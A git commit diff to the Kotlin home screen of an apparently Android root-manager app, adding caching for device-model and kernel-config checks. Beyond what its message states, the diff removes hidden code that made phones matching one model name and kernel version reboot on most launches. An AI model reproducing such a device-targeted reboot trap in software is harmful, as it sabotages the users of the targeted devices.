manager: Optimize device model and KPM configuration checking

Add caching mechanism to improve performance
This commit is contained in:
ShirkNeko
2025-05-18 20:16:04 +08:00
parent de9b82ffd5
commit 245fce167e

View File

@@ -158,25 +158,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
val kernelVersion = getKernelVersion()
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
val isManager = Natives.becomeManager(ksuApp.packageName)
val deviceModel = getDeviceModel()
val ksuVersion = if (isManager) Natives.version else null
val zako = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex().matches(deviceModel)
val isVersion = ksuVersion == 12777
val shouldTriggerRestart = zako && kernelVersion.isGKI() && (isVersion)
LaunchedEffect(shouldTriggerRestart) {
if (shouldTriggerRestart) {
val random = Random.nextInt(0, 100)
if (random <= 95) {
reboot()
} else {
""
}
}
}
val scrollState = rememberScrollState()
val debounceTime = 100L
var lastScrollTime by remember { mutableLongStateOf(0L) }
@@ -203,10 +184,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
.padding(horizontal = 16.dp),
verticalArrangement = Arrangement.spacedBy(12.dp)
) {
if (shouldTriggerRestart) {
WarningCard(message = "zakozako")
return@Column
}
val isManager = Natives.becomeManager(ksuApp.packageName)
val ksuVersion = if (isManager) Natives.version else null
val lkmMode = ksuVersion?.let {
@@ -983,9 +960,13 @@ private fun WarningCardPreview() {
}
}
@SuppressLint("PrivateApi")
private fun getDeviceModel(): String {
return try {
private object DeviceModelCache {
@Volatile
private var cachedModel: String? = null
fun getDeviceModel(): String {
return cachedModel ?: synchronized(this) {
cachedModel ?: try {
val systemProperties = Class.forName("android.os.SystemProperties")
val getMethod = systemProperties.getMethod("get", String::class.java, String::class.java)
val marketNameKeys = listOf(
@@ -994,19 +975,37 @@ private fun getDeviceModel(): String {
"ro.vivo.market.name", // Vivo
"ro.config.marketing_name" // Huawei
)
var result = Build.DEVICE
for (key in marketNameKeys) {
val marketName = getMethod.invoke(null, key, "") as String
if (marketName.isNotEmpty()) {
return marketName
result = marketName
break
}
}
Build.DEVICE
result
} catch (_: Exception) {
Build.DEVICE
}.also { cachedModel = it }
}
}
}
private fun checkKpmConfigured(): Boolean {
private object KpmConfigCache {
private var isChecked = false
private var isConfigured = false
fun checkKpmConfigured(): Boolean {
if (isChecked) {
return isConfigured
}
isConfigured = performKpmCheck()
isChecked = true
return isConfigured
}
private fun performKpmCheck(): Boolean {
try {
val process = Runtime.getRuntime().exec("su -c cat /proc/config.gz")
val inputStream = process.inputStream
@@ -1016,6 +1015,7 @@ private fun checkKpmConfigured(): Boolean {
var line: String?
while (reader.readLine().also { line = it } != null) {
if (line?.contains("CONFIG_KPM=y") == true) {
reader.close()
return true
}
}
@@ -1037,6 +1037,18 @@ private fun checkKpmConfigured(): Boolean {
return false
}
}
// 获取设备型号
@SuppressLint("PrivateApi")
private fun getDeviceModel(): String {
return DeviceModelCache.getDeviceModel()
}
// 检查KPM是否存在
private fun checkKpmConfigured(): Boolean {
return KpmConfigCache.checkKpmConfigured()
}
@SuppressLint("UnnecessaryComposedModifier")
fun Modifier.disableOverscroll(): Modifier = composed {